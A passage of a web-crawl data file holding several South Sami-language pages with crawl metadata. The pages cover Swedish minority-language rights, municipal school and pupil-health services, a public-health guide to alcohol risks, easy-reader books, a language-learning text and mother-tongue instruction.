såevmiengïelesne, meängïelesne jïh saemiengïelesne lea. Laake (2010:865). (17§)\n• Akte tjïelte akten reeremedajvesne edtja faaledh satnem mij vaajta, nuepiem abpe jallh biehkie hoksehtimmeste jïh hokseste mah barkijijstie voereshoksesne faalen såevmiengïelesne, meängïelesne jah saemiengïelesne. Seamma aaj tjïeltide akten reeremedajvi ålkolen, jis tjïeltem jaksoesvoetem barkijijstie mij maahtoem gïelesne åtna. (18§)\n• Aajne reaktam utnieh såevmiengïele, meängïele jïh saemiengïele njaalmeldh jïh tjaaleldh nuhtjedh, gaskesadtemem akten reeremeåajvaladtjine gusnie geografiske darjoedajve abpe jallh biehkiem lea seamma goh unnebelåhkoegïelen reeremedajve. (8§)\n• Reeremedajven ålkolen aajne reaktam utnieh såevmiengïelem, meängïelem jïh saemiengïelem nuhtjedh njaalmeldh jïh tjaaleldh gaskesadtemem reeremeåajvaladtji ieriejgujmie gåessie aajne lea paarhte jallh klahke paarhtese, jis ieriem maahta barkijijstie gïetedalledh mah unnebelåhkoegïelem maehtieh. (9§)\n• Reeremeåajvaladtjh edtjieh barkedh ihke jaksoesvoetem barkijidie gååvnese mah maahtoem såevmiengïelesne, meängïelesne jïh aaj saemiengïelesne utnieh gusnie daerpies, aajni gaskesadtemem åajvaladtjigujmie. (§11)","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.dorotea.se\/saepmie\/unnebelaahkoeg%C3%AFelelaakem-minoritetsspraaklagen\/unnebelaahkoeg%C3%AFelelaakem\/","date":"2019-05-22T15:59:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256858.44\/warc\/CC-MAIN-20190522143218-20190522165218-00003.warc.gz","language":"sma","language_score":0.9999777079,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999977707862854}","num_words":380,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvi Girji la almodam álkkeslåhkåmgirjijt dásijda 6–7.\nDavvi Girji lea aelhkie lohkemegærjah bæjhkoehtamme daltesasse 6–7.\nÁlkkeslåhkåmgirje li iesjgeŋga dásen mij guosská man gássjela li, ja da hiehpi mánájda gudi li oahppamin låhkåt.\nVuolemus dáse li álkkemusá oanemus tevstajn, madi alemus dásijn li guhkep tevsta.\nÁlkkeslåhkåmgirjijn li sihke oanegis subttsasa ja fáktátevsta.\nJuohkka båksan li guokta dáse.\nAelhkie lohkemegærjah leah ovmessie daltesinie jïh leah ussjedamme maanide mah lïereminie lohkedh.\nDoh vöölemes daltesh leah aelhkemes åenemes teekstine, mearan jollemes daltesh guhkebe teeksth utnieh.\nAelhkie lohkemegærjah dovne åenehks soptsesh jïh faaktatjaalegh utnieh.\nFïerhtene burhtjesne 2 daltesh.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/davvi.no\/?cat=news&id=13&lang=se","date":"2019-06-16T04:51:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997731.69\/warc\/CC-MAIN-20190616042701-20190616064701-00070.warc.gz","language":"sma","language_score":0.9396363497,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9396363496780396, \"smj_Latn_score\": 0.044978491961956024, \"sme_Latn_score\": 0.015030758455395699}","num_words":90,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.918,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesh alkoholen jïh healsoen bïjre\nJienebe almetjh alkoholem daamtajåbpoe juvkieh, jïh stuerebe veahkam enn aarebi. Alkoholem daamhtaj feestine jïh eejehtimmine ussjede, men aaj skaamojne jïh bæjhkarimmine gosse ij maehtieh alkoholenåhtoem stuvredh.\nAelhkie såvma alkoholedåeriesmoerh ajve jeatjah åadtjoeh. Daamtaj alkoholedåeriesmoerh aktene sosijalen dåriesmoerine jis barkohts jallh gåetieluhpehts. Men jeenjemes gïeh dan jïjnje alkoholem juvkieh eah dåeriesmoerh utnieh mah vååjnesisnie. Seammalaakan goh almetjh gïeh rïevhkestieh, fer jïjnje byöpmedieh jallh fer onne saavroeh jeenjemes sïejhme vuekine jielieh, barkojne, fuelhkine, voelpine jïh gåetine.\nMedtie millijovne almetjh Sveerjesne alkoholeviejsjieh utnieh mah stuerebe vaahram vadta gellie healsoedåeriesmoeride jïh skaaride, aaj aalkoholeduerpehke. Jeenjemes eah jïjtje dååjrh dah fer jïjnje juvkieh jïh eah ussjedh alkoholeste healsoedåeriesmoerh sjædta – men dah kråahph læjhkan tsevtsieh. Daennie tjaalegisnie maahtah lohkedh guktie.\nMan jïjnje alkohole åvteli vaahrese båetedh?\nDatne vaahrese båatah jis 14 jallh jienebe klaash fïerhten våhkosne jovkh jis ålma jallh 9 jallh jienebe klaash fïerhten våhkosne jis nyjsene. Jis jovkh guktie gieriedidh aaj vaahra. Jis jovkh jienebe enn 4 klaash ålmine, jienebe enn 3 klaash nyjseninie seamma tsiehkesne, jallh jis dov bijjebe 0,6 promille vïrresne aaj geeruvisnie seamma jis dam damth jallh ij. Jis unnebe jovkh enn mah bijjebe tjaaleme dellie sïejhmede alkoholenåhtojne åtnah.\nAkte klaase seamma goh onne boehtele veaksehkevoelege (33 cl), vïjneklaase (10-15 cl) jallh drinke\/shotte 4 cl sprïjhtine.\nBielielïjhtere veaksehkevoelege (50 cl) lea 1,5 klaash.\nVïjneboehtele (75 cl) lea 6 klaash.\nSprïjhteboehtele (75 cl) lea 18 klaash.\nMaahta boerehkelaakan healsoen gaavhtan ohtje alkoholem jovkedh?\nGellie leah lohkeme sïejhmede alkoholenåhtoem maahtah boerehkelaakan healsoen gaavhtan årrodh. Veanhta voeresh gïeh ohtje alkoholem juvkieh maehtieh vaahram vaajmoe- jïh vïrreåerieskïemtjelasside jïh diabetese unniedidh. Dotkijh eah daan biejjien seamedh jis alkohole naemhtie vaarjele. Saatnan lea alkohole dan gellie vaahreles lissiedåårresh åtna jïh destie ij maehtieh dam healsoen gaavhtan bievnedh.\nSïejhmede jovkedh guktie ij geeruvisnie vaenie medisijneles vaahrah utnieh – jïlhts ih nåajsan, hujnesne, librieskïemtjelassem utnieh jallh sjïere daalhkesh vaaltah. Dellie ih edtjh jovkedh.\nGuktie alkohole datnem tsavtsa?\nJis baarese tjaanga bearjadahken iehkeden såvma gellie mah råaka bijjebe 0,8 promille alkohole vïrresne utnieh. Men dotkijevuesiehtimmieh gååvnesieh mah vuesiehtin bööremes åtna åvteli 0,5 promille sjædta. Maam mijjieh båajhtode daamhtaj darjobe vïenhtebe lustebe sjædta jis jienebe jovkedh, jïlhts aarebi vuesiehtamme dïhte båajhtoeh. Daesnie maahtah vuejnedh guktie domtesh jïh dåemiedimmieh tsevtsieh* ovmessie promilleveahkah vïrresne.\n0,2 promille: Voestes effektem alkoholeste damth. Datne bïjvh, murredh jïh buerie bïevsterinie. Dov jïjtjelaejhteme vaenede.\n0,5 promille: Aavojne jïh heerremh luejhtieh. Dov refleksh sååjmehke jïh unnebe presisjovne svihtjemisnie. Ih gaajhkem vuarjesjh jïh guarkah.\n0,8 promille:\nAalkah tjarki gïelin soptsestidh jïh jïjnjh svihtjh. Ih rïektes vuejnieh. Alkoholem hopsoe jïh garmerh.\n1,0 promille: Plarhkoeh håaloeh jïh nåakebe dovne domtesh jïh åedtjieh stuvrh.\n1,5 promille: Aalka geervebe tjåadtjodh jïh kaanne gaahtjh. Goesmerh.\n2,0 promille: Geerve soptsesth jïh tjåadtjoeh. Guektiengierts vuajnah.\n3,0 promille: Ih vuerkehth jïh mahte svæjmeds.\n4,0 promille: Datne svæjmeds. Soejmetji voejngehth jïh vaahrese jaemedh alkoholekrodtesjimmeste.\n*Ij maehtieh jiehtedh raakte guktie promille almetjem tsavtsa, juktie dïhte gie guhkiem jïh jijnjem jovkeme lea toleransem evtiedamme alkoholese jïh ij dan jïjnje tsevtsieh. Ussjedh vaahram skaarh jïh healsoedåeriesmoerh åadtjodh alkoholeste ij unnedh jïlhts jollebe toleransedaltesem åtna.\nGuktie jolle alkoholenåhtoem healsoem tsavtsa?\nAlkohole gaajhkh organide jaksa jïh dïhte abpe kråahpem tsavtsa, dovne sisjnelds- jïh ålkoebielide. Veartenehealsoeorganisasjovnen, WHO, mietie jienebe enn 60 skïemtjelassh mah jolle alkoholenåhtoste. Eah almetjh daarpesjh alkoholeduarpehke årrodh jis alkoholerelateradamme skïemtjelassh åadtjodh: aaj dah gïeh jïjje juvkieh jïh eah duarpehke maehtieh dejtie åadjodh.\nAajla\nJoe ohtje alkoholine nåakebe ussjedidh, mujhtedh jïh reaksjovne. Nåakebe åarah jïh domtesidie tsavtsa. Jolle jallh guhkiem nåhtojne aajla ånnene jïh maahtah epilepsijem, demensem jallh jeatjah aajla-skïemtjelassh åadtjodh.\nDepresjovne\nVaahra depresjovnem åadtjodh jienemde jolle alkoholenåhtojne. Bielie gaajhkh jïjtjebovvemh Sveerjesne alkoholine ektiedieh.\nVaajmoe jïh vïrreåerieh\nVuelie jïh sïejhmede alkoholenåhtoe ij tjïelke nåake effekth utnieh vaajmose jïh vïrreåeride. Stoerre alkoholenåhtoe vaahram jienemde skaaride. Jïevkehtimmie jïh vïrredïedtese jienemdieh gosse alkoholem jovkh. Vaahra ovmessie såarhtah vaajmoearytmierh jienemde, vuesiehtimmien gaavhtan förmaksflimmere. Ij maehtieh alkoholenåhtoem raeriestidh vaajmoeskïemtjelasside heerredh.\nNåajsan\nFertilitete vaenede jolle alkoholenåhtojne dovne nyjseninie jïh ålmine. Jis nyjsene alkoholem jåvka gosse nåajsan jiemiem tsavtsa, sjïere voestes boelhkem – aaj åvteli vihties daajra nåajsan. Jis nyjsene jïh nåajsan jallh dam soejkesjidh bööremes ij alkoholem jovkh.\nLibrie\nAlkohole vaahram jienemde libriecancerem åadtjodh jïh daamhtaj dan sjïeke buejtieliebriem, hepatitem jïh librie-gaarenesem åadtjodh.\nNjaltja\nJolle alkoholenåhtoe vaahram jienemde psoriasisem åadtjodh jallh dïhte vïerrebe sjædta jïh jeatjah dåeriesmoerh njaltjine åadtjodh.\nTjåejjie\nJolle alkoholenåhtoe vaahram jienemde tjåejjiekatarrem jïh sovre tjåejjiem åadtjodh.\nDaektie\nJolle alkoholenåhtoe vaahram jienemde hiejjehts-moerh jïh jïktem åadtjodh.\nVïrre\nAlkohole heerrie daektiejïrremem vïrrekråahph darjodh jïh destie vaenie vïrrem sjædta.\nInfeksjovnh\nAlkoholen effekten tjïrrh daektiejïrremem dah veelkes vïrrekråahph tsavtsa mah gelkieh kråahpem vaarjelidh infeksjovni vööste. Daestie jienebh infeksjovnh sjædta. Vuesiehtimmien gaavhtan gellien aejkien jïh guhkiem sovhtine\nCancere\nAlkohole vaahram jienemde cancerem gellie organine åadtjodh. Tjïelke vuajnoeh gååvnese cancerasse njaelmesne jïh tjeahpoehkisnie, libriecancerem, njammacancerem jïh tjåeliecancerem åadtjodh.\nMejtie vaahride maahta båetedh jis fer jïjnje alkoholem jovkedh?\nOvlæhkoeh\nJis tjïervesne jïjnjebe vaahride maahta båetedh. Fïerhten jaepien medtie 3000 almetjh jaemiejin ovlæhkojne Sveerjesne. Medtie gåalmehts dejstie alkohole meatan. Almetjh gïeh daamhtaj vuelie- jallh sïehmedejovkijh, men såemies aejkien tjïervesne, stoerre bieliem ovlæhkojste goerpedehtieh.\nVædtsoesvoete\nMeadtoestatistihken mietie stoerre bielie dovne daaresjimmieh jïh vædtsoehvoeth aktanin alkoholenåhtojne aktem jallh gåabpatjahkh dejstie.\nRelasjovnedåeriesmoerh\nJolle alkoholenåhtoe maahta govlesadtemem skaaredh jïh relasjovnem fuelhkine nåagkode. Bijjelen millijovne almetjh Sveerjesne naakenem lïhke jielieh gie fer jïjnje jåvka jiehtieh dah negatijven vuekine tsevtseme.\nRïevhkestimmie jïh alkohole\nOvmessie ruvsevierhtieh ektiedieh, vuesiehtimmien gaavhtan alkohole jïh nikotine seamma baalhkaöörnegem aajlesne tsevtsieh. Nikotine aaj domtesem alkoholese jienemde. Jis sïjhth alkoholenåhtoem jarkelidh aevhkie jis seammasïenten rïevhkine jallh snohkine orrijidh. Seamma vuekine maahta aelhkebe dågkine orrijidh jïh seammasïenten orrijidh alkoholem jovkedh.\nMij lea alkoholeduarpehke?\nAlkoholeduarpehkine jis jåarhka alkoholem jovkedh, jïlhts negatijven effekth healsose, relasjovnide jïh sosijalen tsiehkide. Dïhte gie duarpehke daamhtaj sæjhta alkoholem jovkedh jïh geerve alkoholeveahkam gaertjiedidh. Daamhtaj, mohte ij eejnegen toleransem alkoholese evtiedidh, juktie jienebe jienebe tjuara jovkedh effektem jaksedh, jallh abstinense, mestie gellie vaejvie domtesh jis orrijidh jovkedh. Duarpehkistie sjædta alkohole stoerre sijjiem jieliedisnie gusnie åvteli jeatjah darjomh lin vihkeles, vuesiehtimmien gaavhtan relasjovnh, barkoem jallh eejehtimmieïedtjh. Dïhte gie duarpehke daajra daamhtaj alkohole dåeriesmoere, men læjhkan ij maehtieh dam gaertjiedidh jallh dejnie orrijidh.\nDah 6 tsiehkieh daamhtaj alkoholeduarpehkisnie. Diagnosem alkoholeduarpehke åadtjoeh jis golme dejstie seammasïenten minngemes 12-askine.\nGarre såjhtoem alkoholem jovkedh.\nGeerve gaertjede man jïjnje jåvka\nAlkoholenåhtoste unnebe tïjje barkose, eejehtimmieïedtjese jallh gaavnedæmman\nStuerebe veahkam alkoholeste kreava jis seamma effektem edtja åadtjodh (toleranse)\nGïeth svilkestieh, bïevesteminie jallh vaejvieh jis vaenede jallh orreje jovkedh (abstinens)\njåarhka jovkedh jïlhts daajra alkoholeste skïemtjelassh jallh psyhkihken vaejvieh sjidtieh\nDatne sïjhth dov jovkemem jarkelidh?\nGellie ussjedieh dïhte dan geerve sov alkoholenåhtoem jarkelidh. Men aelhkebe rïevhkine orrijidh jïh mahte seammalaakan gellie vuekine sov beapmoevaejsjieh jarkelidh jallh aelkedh saavredh.\nVïenhth dovne buerie jïh nåake alkoholem jovkedh – numhtie gellesidie. Men mij lea vihkeles? Ajve datne gie maahtah sjæjsjalidh guktie dutnjien jïh guktie sïjhth darjodh. Maahtah dov alkoholenåhtoem jåerhkedh jallh jarkelidh?\nHijven tjïelkesth mah jiehtegh vihkeles dutnjien jïh persovnese datne sïjhth årrodh seamma jis sjæjsjalih jallh ennje ovvihties.\nUlmiem nænnosth\nIh daarpesjh nænnoestidh guktie edtjh abpe dov jieledem darjodh. Jis sïjhth jarkelidh dellie hijven jis tjïelke ulmiem utnedh sjïere boelhkem. Men mij lea dïhte? Edtjh datnem gaertjiedidh jïh sïejhmede jovkedh jallh buerebe jis alkoholehts boelhkem årrodh?\nAelkieh jarkelidh\nJarkelh dov aarkebiejjien mij viehkehte dov ulmide jaksedh. Maahta vuesiehtimmien gaavhtan: ih alkoholem gåetesne vöörhkh, målsoeh alkoholem alkoholehts jovkestahkide, almetjh råakedh gïeh maehtieh datnem dåarjodh jallh aelkieh orre murrie darjomem dennie tïjjesne gåessie aarebi alkoholem jovkih.\nJïjtjemdh goerehtallh.\nSeamma man gaavhtan iktesth eelkih fer jïjnje jovkedh daelie dov alkoholenåhtoem aktani dov aarkebiejjien, dov vaejsjiejgujmie jïh dov rutijnigujmie. Jis goerehtallh man tsiehkine, åssjelh jïh domtesh alkoholine aktenh dellie stuerebe nuepiem åtnah dov alkoholenåhtoem tsevtsedh gogkoe sïjhth.\nOrre alternatijvh gaavnh\nAlkohole maahtah muvhtene åenehks vaestiedassem jeatjah dåeriesmoeride orreme mah dååjrh (vuesiehtimmien gaavhtan jis ih åerieh, fuehpesne jallh relasjovnedåeriesmoere). Orre viejsjiejgujmie jïh buerebe vaestiedassh dov dåeriesmoeride, aelkebe sjædta ij fer jïjnje jovkh.\nViehkiem vaaltah\nGiejnie soptsestidh gie dutnjien viehkine åssjelh jïh domtesh tjïelkedh jïh jarkelimmesne dåarjodh maam voejhkelh darjodh hijven seamma jis voelpe, fuelhkie jallh professjonellen almetje.\nAellieh gåavvarosth\nVuajnah jarkelamme alkoholenåhtoem guhkiem ulmine. Jååhkesjh heerremh maahtah båetedh jïh aellieh dam baajh datnem heerredh. Gellie voejhkelimmieh åtnah jis sïjhth dov alkoholenåhtoem jarkelidh.\nJis sïjhth naakenem hoksesne soptsestidh dov alkoholenåhtoen bïjre reaktam åtnah sekretessese. Maahtah aaj viehkiem toelhkestimmine åadtjodh. Maahtah vielie dan bïjre lohkedh 1177:sne.\nhttp:\/\/www.1177.se\/Nationella-minoritetssprak\/Nationella-minoritetssprak...\nDaesnie kaarhte gusnie maahtah telefonnummerh dåastoevidie Sveerjesne gaavnedh.\nhttps:\/\/alkoholhjalpen.se\/karta","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/alkoholhjalpen.se\/sydsamiska","date":"2019-06-17T11:32:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998473.44\/warc\/CC-MAIN-20190617103006-20190617125006-00230.warc.gz","language":"sma","language_score":0.999999404,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999994039535522}","num_words":1319,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skuvleskovhte jïh gåetieleejjijh\nSkolskjuts och inneboende\nMaadthskuvle- jïh jåarhkeskuvlelearohkh gïeh guhkies skuvlegeajnoem utnieh reaktam utnieh skuvleskovhtese jallh bussekåarhtese.\nJåarhkeskuvlelearohkh guhkies skuvlegeajnojne jallh guhkiem feeleminie dohkh diekie hïejmeste, gïeh veeljieh lohkemesijjesne årrodh maehtieh dåarjoem ohtsedidh, maam gohtje gåetieleejjemedåarjoe.\nGyhtjelassh jïh ohtsemegoerh åadtjoeh rektoristie jallh skuvleskovhtegïetedæjjeste.\n090-16 10 00 (veeksele)\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/skuvleskovhtejihgaetieleejjijh.4.3f5fc95914ce7bcf45114da1.html","date":"2019-07-17T12:53:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525187.9\/warc\/CC-MAIN-20190717121559-20190717143559-00282.warc.gz","language":"sma","language_score":0.9999812841,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999812841415405}","num_words":48,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Upmeje — bieliem saemiengïelen reeremedajveste\nSaemieh leah aktem daejstie veartenen aalkoealmetjistie jïjtje kultuvine, jïjtje gïeline jïh jïjtje vuekine. Upmeje lea bielie dajveste gusnie saemieh årroeminie, barkeminie jïh sov kultuvren gïehteleminie. Dan gaavhtan lea iemie Upmeje lea saemiengïelen reeremedajvesne, gusnie saemien kultuvren jïh saemiengïelen lea tjarkebe vaarjelimmie laaken nasjovnellen unnebelåhkoej jïh unnebelåhkoej bïjre mietie.\nUpmeje lea akte tjïelte saemiengïelen reeremedajvesne mij edtja joekoen saemien kultuvrem jïh saemien gïelide vaarjelidh jïh gorredidh. Dellie edtja tjïelte:\n- saemide laaken bïjre bievnedh\n- tsevhtsiehtimmiem vedtedh jïh saemiej åejviejgujmie raarastalledh\n- gaajhki saemiej gïelh jïh kultuvrh vaarjelidh\/nænnostidh, joekoen fokuse maanide\n- hoksehtimmiem vedtedh jïh åejvieladtjegaskesem faaledh ållesth\/bieliem saemiengïelesne jis muvhtenh dejtie gihtjesuvvieh\n- maana- jïh voeresehoksem faaledh ållesth\/bieliem saemiengïelesne jis muvhtenh dejtie gihtjesuvvieh.\nTjïeltem bïeleljh\nUpmije tjïelte faala åejvieladtjegaskesadtemem saemiengïelesne toelhken tjïrrh dænghkome telefovnetïjjesne. Datne gie dam sïjhth utnedh veekselasse ringkedh telefovne 090-16 10 00.\nSaemieh, saemien jïh saemien kultuvre\nTjïelte barka guktie saemien gïelem jïh kultuvrem gelkieh praktijhkeles vuekine evtiedidh jïh guktie saemiej daarpoeh gelkieh dåastoehtidh. Dïhte lea dan bïjre saemieh jïh saemien kultuvrem vååjnesasse jïh maahtoem dan bïjre vedtedh. Daesnie muvhtenh lingkh jïjnjebh maahtose:\nSidan har granskats 2019-02-04","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.umea.se\/umeakommun\/kommunochpolitik\/manskligarattigheter\/nationellaminoriteterochminoritetssprak\/samisktforvaltningsomrade\/upmejebieliemsaemiengielenreeremedajveste.4.58cfd09212e54bc646280009827.html","date":"2019-07-17T13:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525187.9\/warc\/CC-MAIN-20190717121559-20190717143559-00554.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":175,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkehealsoe\nElevhälsa\nLearohkehealsoe åvtelhbodti jïh healsoeskreejreme barka aarhskuvlesne jïh skuvlesne. Learohkehealsosne gellie professjovnh mah ektesne jïh skuvline berkieh gosse datne learoehkinie jallh eejhteginie sjïere dåarjoem skuvlesne daarpesjh.\nVoestes bïeljelimmie Learohkehealsojne daamhtaj skuvlen tjïrrh. Jis daarpesjh skuvlehealsoesåjhtoem jallh kuratorem maahtah datne learoehkinie jallh eejhteginie mijjem ryöktesth bïeljelidh.\n090-16 10 00 (veeksele)\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/learohkehealsoe.4.3f5fc95914ce7bcf45114d87.html","date":"2019-07-18T20:07:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525793.19\/warc\/CC-MAIN-20190718190635-20190718212635-00186.warc.gz","language":"sma","language_score":0.9999866486,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999866485595703}","num_words":50,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov fuelhkie\nÅvla\nMov nomme Åvla. Manne leam njieljieluhkien jaepien båeries. Manne jïh mov fuelhkie Staaresne årroeminie. Mov leah göökte maanah. Mov nïejten nomme Sajle jïh mov baernien nomme Aanta. Mov gåmman nomme Sööfe. Mijjen aaj bïenje, Tjeehpe, jïh gaahtoe, Veelke. Manne doekijinie barkeminie. Daelie manne mobiltelefovnh doekeminie. Manne lyjhkem gærjam lohkedh. Joekoen luste histovrijegærjah lohkedh. Manne aaj lyjhkem vaeresne mïnnedh.\nSööfe\nMov nomme Sööfe. Reakasovvim jaepien 1967. Mov leah göökte maanah jïh geelle. Stjørdaeleste båatam, jïh daelie Staaresne årroeminie. Manne leam raeriestæjja, men daelie manne lohkehtæjjine barkeminie. Manne lyjhkem tjoejkedh jïh ålkone årrodh.\nSajle\nMov nomme Sajle. Luhkienjieljien jaepien båeries. Manne noereskuvlesne vaadtsam. Mubpien jaepien jåarhkeskuvlesne aalkam. Im manne daejrieh maam edtjem sjïdtedh. Im gan daejrieh maam lyjhkh darjodh. Daajram hov gellie aath mejtie im lyjhkh. Im lyjhkh lohkedh jïh im lyjhkh saavredh. Im lyjhkh ålkone årrodh jïh im lyjhkh maanah. Im lyjhkh beapmoeh jurjiehtidh jïh im lyjhkh bååhkesjidh.\nAanta\nMov nomme Aanta. Aadtjegh luhkie gaektsie jaepieh illeme. Manne jåarhkeskuvlesne vaadtsam. Elektrihkerfaagem lohkeminie.Manne sïjhtem elektrihkerinie sjïdtedh. Manne lyjhkem tjengkerem tjïektjedh jïh mov voelpigujmie ektine årrodh. Manne aaj lyjhkem musihkem goltelidh. Muvhten aejkien aaj gitaarem spïelem.\nVaestedh gyhtjelasside:\nTjaelieh åenehks teekstem dov jïh dov fuelhkien bïjre.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/kuvsje.oahpa.no\/index.php\/2014\/02\/25\/mov-fuelhkie\/","date":"2019-07-22T04:28:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527474.85\/warc\/CC-MAIN-20190722030952-20190722052952-00179.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":195,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Letniengïelelohkehtimmie\nJis akte learohke jeatjah ietniengïele goh daaroengïele åtna, åelie maahta syökedh ihke ietniengïelelohkehtimmiem maadthskuvlesne jïh maadthsjïereskuvlesne altese maanese åadtjodh. Dïhte gåarede voestes daltesistie darjodh. Aamhtese lea jïjtjevieltien bene kuvsjeplaane jïh daajroekrïebpesje ietniengïele aamhtesasse dåerede jïh betyge aamhtesisnie 6. daltesistie vedtien.\nIhke maana edtja ietniengïelelohkehtimmiem maadthskuvlesne åadtjodh dah tjuerieh maadth-daajroem gïelesne utnedh jïh gïelem fïerhten biejjien nuhtjedh. Akte åelijste edtja gïelem ietniengïeline utnedh. Akte adoptijve maana mij jeatjah ietniengïelem goh daaroengïelem åtna maahta ietniengïelelohkehtimmiem åadtjodh, læjhkan gosse gïelem ij fïerhten biejjien gåetesne soptsesth.\nÅejvieålma dïedtem åtna ietniengïelelohkehtimmiem akten gïelesne öörnedh jis vïjhte learohkh seamma gïeledåehkesne tjïeltesne gååvnese mah reaktam ietniengïelelohkehtæmman utnieh jïh aaj ahte maehteles pedagååge gååvnese. Lohkehtimmiem ietniengïelesne lea unnemes 60 minudth fïerhtene learoehkasse jïh våhkoe jïh maahta aaj sïejhme tæjmoeplaanen ålkolen årrodh. Lohkehtimmiem maahta jeatjah skuvlesne årrodh jallh maajhööhpehtimmien tjïrrh.\nSyökh jallh ietniengïelelohkehtimmiem nihtielidh\nJis datne akte maana skuvlejaepide 1-9 åtnah gïese datne sïjhth ietniengïelelohkehtæmman syökedh jallh ietniengïelelohkehtimmeste nihtielidh? Datne maahtah göökte ovmessie vuekine dam darjodh:\n- Mijjen e-dïenesjem nuhtjedh, e-dïenesje tsiehkien nuelesne daennie sæjrosne\n- Dov maanan skuvlese jårredh jïh akten goeren mietie gihtjedh mij skuvlem jallh datne epåasten tjïrrh seedtien\njallh daase seedtien:\nMaana- jïh ööhpehtimmiekontovre\nAtt: Helen Jonsson, iktedæjja gïele\nBox 201\n837 31 Järpen\nDen här e-postadressen skyddas mot spambots. Du måste tillåta JavaScript för att se den.\nTjaelieh e-påastesne jallh prievesne \"Ietniengïelelohkehtimmie\" jallh \" Nihtielimmie ietniengïelelohkehtimmeste\"\nLohkemegïetedalleme ietniengïelesne\nLohkemegïetedallemem ietniengïelesne lea numhtie ahte dov maana maahta skuvlesne dåarjegem ietniengïelesne ovmessie aamhtesisnie åadtjodh. Mij aamhtesh datne maahtah lohkemegïetedallemisnie åadtjodh lea guktie dov daerpiesvoeth leah. Skuvle dïhte, jïh dan rektovre mij dïedtem vaeltieh jis learohke daerpiesvoetem åtna lohkemegïetedallemistie.\nNasjonelle unnebelåhkoegïelh\nSveerje vïjhte nasjonelle unnebelåhkoegïelh åtna: saemien, såevmiengïele, jiddische, meängïele jïh romani chibe. Jis akte maana meatan akten nasjonelle unnebelåhkojste edtja lohkehtimmiem ietniengïelesne öörnedh jis vaajtelieh. Åejvieålma edtja lohkehtimmiem ietniengielesne faaledh læjhkan jis ajve akte learohke mij sæjhta gïelem lohkedh jïh learohke ij daarpesjh maadthdaajroem gïelesne utnedh. Gïele ij daarpesjh gan fïerhten beajjetji gïele gåetesne årrodh.\nSkuvlegoevtesen gåetiesæjrosne datne maahtah jienebh lohkehtimmiem nasjonelle unnebelåhkoegïelen bïjre lohkedh: undervisning i nationella minoritetsspråk.\nIetniengïele\nEarnam gïeledåarjeginie aarhskuvlesne jïh aarhskuvleklaassesne jïh aaj lohkehtimmiem ietniengïele aamhtesisnie lea ahte maanah jïh learohkh daajroem övtiedieh altese ietniengïeline jïh ietniengïelen bïjre. Jaksoesvoete altese ietniengïelese dej identiteetem nænnoste jïh jearsoesvoete maanese jïh learoehkasse sjædta. Gosse daajroem ietniengïelesne åtna aelhkebe aaj gïeleövtiedæmman jïh lïeremasse ovmessie aamhtesinie sjædta. Akte dåarjege aaj sjædta juktie lïeredh ovmessie kultuvrigujmie jïh vuekiejgujmie 